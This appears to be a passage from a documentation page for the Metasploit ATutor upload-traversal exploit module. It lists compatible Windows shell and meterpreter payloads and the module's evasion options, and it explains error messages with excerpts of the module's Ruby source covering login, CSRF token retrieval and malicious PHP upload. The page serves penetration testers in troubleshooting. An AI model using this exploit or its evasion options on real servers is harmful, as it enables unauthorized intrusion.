131 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
132 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
133 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
134 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
135 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
136 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
137 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
138 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
139 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
140 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
141 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
142 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
143 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
144 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
145 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
146 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
147 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
148 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
149 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
150 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
151 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
154 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
155 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
156 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
159 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
160 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
161 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
162 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
163 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
164 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
165 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
166 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
167 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
168 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
169 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
170 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
171 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
172 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
173 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
174 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
175 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
176 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
177 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
178 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
179 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
180 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
181 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
182 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
183 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
184 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
185 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
186 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
187 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
188 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
189 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
190 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
191 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
192 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
193 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
194 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
195 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
196 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
197 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
198 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
199 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
200 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
201 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
202 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
203 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
204 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
205 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
206 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
207 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
208 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
209 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
210 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
211 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
212 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
213 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
214 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
215 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
216 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
217 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
218 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
219 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
220 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
221 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
222 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
223 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
224 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
225 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
226 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
227 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
228 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
229 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
230 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
231 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
232 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
233 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
234 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
235 payload/windows/x64/exec normal No Windows x64 Execute Command
236 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
237 payload/windows/x64/messagebox normal No Windows MessageBox x64
238 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
239 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
240 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
241 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
242 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
243 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
244 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
245 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
246 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
247 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
248 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
249 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
250 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
251 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
252 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
253 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
254 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
255 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
256 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
257 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
258 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
259 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
260 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
261 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
262 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
263 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
264 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
265 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
266 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
267 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
268 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
269 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
270 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
271 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
272 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
273 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
274 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
275 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
276 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
277 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
278 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
279 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
280 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
281 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
282 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
283 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
284 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
285 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
286 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
287 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
288 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
289 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
290 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
291 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
292 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
293 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/atutor_upload_traversal exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/atutor_upload_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Could not detect target OS.
- Unable to determine target OS
- No valid target for target OS
- Connection failed
- Target is not an ATutor application.
- Authentication failed
- Failed to authenticate as a user with admin privileges.
- Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.
- Target is ATutor with version <VERSION>.
- Target is ATutor with version <VERSION>.
- Failed to obtain csrf token.
- An error occurred.
- Connection failed while trying to upload the payload.
- Failed to upload the payload.
- Failed to obtain a session when exploiting `Import New Language`.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not detect target OS.
Here is a relevant code snippet related to the "Could not detect target OS." error message:
89: ]
90: end
91:
92: def select_target(res)
93: unless res.headers.include? 'Server'
94: print_warning('Could not detect target OS.')
95: return
96: end
97:
98: # The ATutor documentation recommends installing it on a XAMPP server.
99: # By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
Unable to determine target OS
Here is a relevant code snippet related to the "Unable to determine target OS" error message:
98: # The ATutor documentation recommends installing it on a XAMPP server.
99: # By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
100: # Apache probably supports more OS keys, which can be added to the array
101: target_os = res.headers['Server'].split('(')[1].split(')')[0]
102:
103: fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os
104:
105: case target_os
106: when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
107: @my_target = targets[1]
108: when 'Win32', 'Win64'
No valid target for target OS
Here is a relevant code snippet related to the "No valid target for target OS" error message:
106: when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
107: @my_target = targets[1]
108: when 'Win32', 'Win64'
109: @my_target = targets[2]
110: else
111: fail_with(Failure::NoTarget, 'No valid target for target OS')
112: end
113:
114: print_good("Identified the target OS as #{target_os}.")
115: end
116:
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
117: def check
118: vprint_status('Running check')
119: res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
120:
121: unless res
122: return CheckCode::Unknown('Connection failed')
123: end
124:
125: unless res.code == 302 && res.body.include?('content="ATutor')
126: return CheckCode::Safe('Target is not an ATutor application.')
127: end
Target is not an ATutor application.
Here is a relevant code snippet related to the "Target is not an ATutor application." error message:
121: unless res
122: return CheckCode::Unknown('Connection failed')
123: end
124:
125: unless res.code == 302 && res.body.include?('content="ATutor')
126: return CheckCode::Safe('Target is not an ATutor application.')
127: end
128:
129: res = login
130: unless res
131: return CheckCode::Unknown('Authentication failed')
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
126: return CheckCode::Safe('Target is not an ATutor application.')
127: end
128:
129: res = login
130: unless res
131: return CheckCode::Unknown('Authentication failed')
132: end
133:
134: unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
135: return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
136: end
Failed to authenticate as a user with admin privileges.
Here is a relevant code snippet related to the "Failed to authenticate as a user with admin privileges." error message:
130: unless res
131: return CheckCode::Unknown('Authentication failed')
132: end
133:
134: unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
135: return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
136: end
137:
138: print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")
139:
140: ver_no = nil
Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.
Here is a relevant code snippet related to the "Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable." error message:
146: end
147: end
148:
149: @version = ver_no
150: unless @version && [email protected]_s.empty?
151: return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
152: end
153:
154: @version = Rex::Version.new(@version)
155: unless @version <= Rex::Version.new('2.4')
156: return CheckCode::Unknown("Target is ATutor with version #{@version}.")
Target is ATutor with version <VERSION>.
Here is a relevant code snippet related to the "Target is ATutor with version <VERSION>." error message:
151: return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
152: end
153:
154: @version = Rex::Version.new(@version)
155: unless @version <= Rex::Version.new('2.4')
156: return CheckCode::Unknown("Target is ATutor with version #{@version}.")
157: end
158:
159: CheckCode::Appears("Target is ATutor with version #{@version}.")
160: end
161:
Target is ATutor with version <VERSION>.
Here is a relevant code snippet related to the "Target is ATutor with version <VERSION>." error message:
154: @version = Rex::Version.new(@version)
155: unless @version <= Rex::Version.new('2.4')
156: return CheckCode::Unknown("Target is ATutor with version #{@version}.")
157: end
158:
159: CheckCode::Appears("Target is ATutor with version #{@version}.")
160: end
161:
162: def login
163: hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
164: @token = Rex::Text.rand_text_alpha_lower(5..8)
Failed to obtain csrf token.
Here is a relevant code snippet related to the "Failed to obtain csrf token." error message:
207: 'uri' => upload_url,
208: 'cookie' => @cookie
209: })
210:
211: unless res && (res.code == 200 || res.code == 302)
212: fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
213: end
214:
215: html = res.get_html_document
216: csrf_token = html.at('input[@name="csrftoken"]')
217: csrf_token = csrf_token['value'] if csrf_token
An error occurred.
Here is a relevant code snippet related to the "An error occurred." error message:
277: post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
278: post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
279: post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
280: post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
281: else
282: fail_with(Failure::Unknown, 'An error occurred.')
283: end
284:
285: res = send_request_cgi({
286: 'method' => 'POST',
287: 'uri' => upload_url,
Connection failed while trying to upload the payload.
Here is a relevant code snippet related to the "Connection failed while trying to upload the payload." error message:
293: },
294: 'data' => post_data.to_s
295: })
296:
297: unless res
298: fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
299: end
300:
301: unless (res.code == 200 || res.code == 302)
302: fail_with(Failure::Unknown, 'Failed to upload the payload.')
303: end
Failed to upload the payload.
Here is a relevant code snippet related to the "Failed to upload the payload." error message:
297: unless res
298: fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
299: end
300:
301: unless (res.code == 200 || res.code == 302)
302: fail_with(Failure::Unknown, 'Failed to upload the payload.')
303: end
304: print_status("Uploaded malicious PHP file #{@pl_file}.")
305: end
306:
307: def execute_command(cmd, _opts = {})
Failed to obtain a session when exploiting `Import New Language`.
Here is a relevant code snippet related to the "Failed to obtain a session when exploiting `Import New Language`." error message:
333: end
334: sleep(wfs_delay)
335:
336: # The only way to know whether or not the exploit succeeded, is by checking if a session was created
337: unless session_created?
338: print_warning('Failed to obtain a session when exploiting `Import New Language`.')
339: create_zip_and_upload('patcher')
340: print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
341: if @my_target['Platform'] == 'linux'
342: execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
343: else
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
